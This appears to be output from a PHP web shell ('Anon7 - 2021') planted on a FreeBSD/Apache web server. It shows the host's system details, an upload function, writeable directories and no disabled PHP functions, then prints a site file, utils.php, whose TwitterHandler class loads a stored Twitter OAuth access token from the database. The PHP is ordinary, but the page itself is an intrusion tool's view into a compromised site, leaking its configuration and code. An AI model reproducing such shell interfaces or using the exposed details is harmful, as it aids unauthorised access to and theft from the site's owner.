KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/owens.enteract/inc/libs/twitter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/owens.enteract/inc/libs/twitter/utils.php
<?php
/* ----------------------------------------------------------------------------------------------- 
TWITTER HANDLER
-----------------------------------------------------------------------------------------------*/
class TwitterHandler{
	public $twitterScreenName = '';
	public $twitterID = '';
	
	public function __construct() {
	}
	//This will gather the main Twitter account access_token set in CMS Twitter Config tool.
	public function getStoredTwitterConnection(){
		//Get user access token out of the DB.
		$result = mysqli_query(DBConn::open(),"SELECT config_desc FROM ".TABLEPRE."config WHERE config_name = 'TWITTER_ACCESS_TOKEN'");
		if ($rs = mysqli_fetch_array($result,MYSQLI_ASSOC)) {	
			if ($rs["config_desc"] != ""){$twitter_access_token = explode("|",$rs["config_desc"]);}
		}
		if (count($twitter_access_token) > 1){
			/* Create a TwitterOauth object with consumer/user tokens. */
			$connection = new TwitterOAuth(TWITTER_CONSUMER_KEY, TWITTER_CONSUMER_SECRET, $twitter_access_token[0], $twitter_access_token[1]);	
	
			/* If method is set change API call made. Test is called by default. */
			$content = $connection->get('account/verify_credentials');	
	
			if (count($content->errors) == 0){
				$this->twitterScreenName = $content->screen_name;
				$this->twitterID = $content->id_str;
				return $connection;
			}else{
				return false;
			}
		}else{
			return false;
		}	
	}	
}

Anon7 - 2021